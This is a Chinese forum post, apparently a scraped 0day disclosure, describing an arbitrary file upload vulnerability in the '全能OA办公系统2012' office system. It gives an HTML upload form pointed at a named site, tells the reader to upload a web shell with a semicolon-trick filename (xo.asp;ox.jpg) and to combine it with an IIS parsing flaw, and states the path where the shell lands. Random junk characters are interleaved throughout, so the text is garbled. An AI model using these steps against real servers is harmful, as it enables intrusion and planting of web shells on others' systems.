全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
' u: z% x; L) x+ j+ t​
" Q6 E, p3 T  {系统介绍：

# u, S! [% ^% i/ b! o+ B全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

; o, m# u8 ~* U( N  `! t主要功能：
公司通告
/ p3 @2 L1 t! b8 C9 o7 o) K! O2 Z8 P工作计划
通讯助理
4 d- r" a2 |2 x' f4 z8 ]( Z客户资源
7 o  v/ g# l* ^% Z我的公文
5 q: M5 N( a3 `: i. n. s. Y8 b2 l  \公文传阅
公共资源
资源预约
6 L+ r- @* z; ^6 Y7 z今日考勤
个人计划
个人通讯录
2 s- Y9 w2 A  f( h$ b个人基本档案
未读邮件
发邮件
收件夹
寄件夹
网络硬盘
网络会议
- o. T0 U2 p/ S7 O! j  K1 N网络调查
交流论坛

有兴趣测试的朋友可以下源码看看

+ w. _- Q6 X& O' B- S$ T源码下载：
4 u5 C+ Z% j5 a6 D1 O
http://www.mycodes.net/30/4750.htm
6 w# }6 a  d; f+ U3 ]
7 c! H- }( J9 N1 S漏洞介绍：

; @' ^' C+ d3 |9 t- e, S由upfile.asp上传文件漏洞引起

$ g2 u$ ?# Y) N  Y测试方法：

使用名小子上传http://www.itlynn.com/upfile.asp即可

. d; m! M" w8 f% Y/ y6 Y1 I如果upfile.asp文件被删除不存在。
; M2 K' F2 x- f0 U  r/ y
  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
; i) p+ F1 s5 P! |
" y3 C9 Y3 a3 c( ~3 `如果存在那么将如下代码保存为upfile.html。
7 [2 Q. ~5 ?! F
% e9 K3 s' l# ]% l- O, e然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。

( P+ D( |2 q% Y( o5 C& i% E

, d! I6 ]/ ^& w+ |% H" q( x2 ~01 <table border='0' align="center" cellpadding="5">
* m- e2 [7 w- I$ [- H& \
+ `! r0 w, L. \8 q, D) `02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
6 H; U- r( A; r2 L
03 <tr>
# [; ~# n% T' {: I0 j
04             <td>报错：</td>

. V+ ~1 n  P$ ~  U8 ~05             <td><input type='radio' name='errnumber' value='0'>

2 D  C4 f5 v; n3 Y06               自动更名

5 v6 a4 r/ X# M0 c07               <input type='radio' name='errnumber' value='1' checked>
/ z0 K: i. g7 e4 t# a6 j7 r$ u
4 d0 x1 g. T8 s08               报错方式
/ \- `$ ^; S: z9 C" {
9 k5 F' Q$ S) D/ n7 k( s09               <input type='radio' name='errnumber' value='2'>

0 h/ j9 ?$ B& H1 v10               直接覆盖</td>
' t/ p; V/ `4 m" _
11           </tr>
# X7 o5 \% S$ T* J
12           <tr>
& j7 ^/ ^* i  ~. d" X
13             <td>主题：</td>
$ y/ t: k, V& i
14             <td><input type='text' name='filename' size='30'></td>

) t  Z3 C' W6 x' Z* }3 e15           </tr>

, y7 ~* x- _5 ?16           <tr>

# I. F- ]" O+ d" m! {17             <td>文件：</td>

18             <td><input type="file"name="fruit"size="30"></td>

19           </tr>
" z1 c3 Q% N8 ^, x8 C
20           <tr>
1 J$ ^: Q$ ^% Q
1 X0 h& h* I6 C21             <td valign='top'>简介：</td>

22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

7 G. k- o( }. t; M2 h23           </tr>

24   
' h! p: @5 C  t, K7 A9 }
$ i9 G: F" f% n. ]  S+ K% H% @+ F25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
0 t( a. m4 J, X$ j
26           </tr>

3 n: v9 W: q# {) r1 R( u8 w0 ?  o8 X27         </form>
4 i; l  O& O: _( C$ \) }/ e; e
4 e$ g2 K: _$ e然后打开上传一个文件名为xo.asp;ox.jpg的文件。
- ?. c: k$ L2 z+ f

$ d, G, Z4 X- W
上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
* }: G- Q/ T# k) m
此漏洞需要配合解析漏洞利用。

4 \' @/ b0 n. m" _: \/ ]! V  H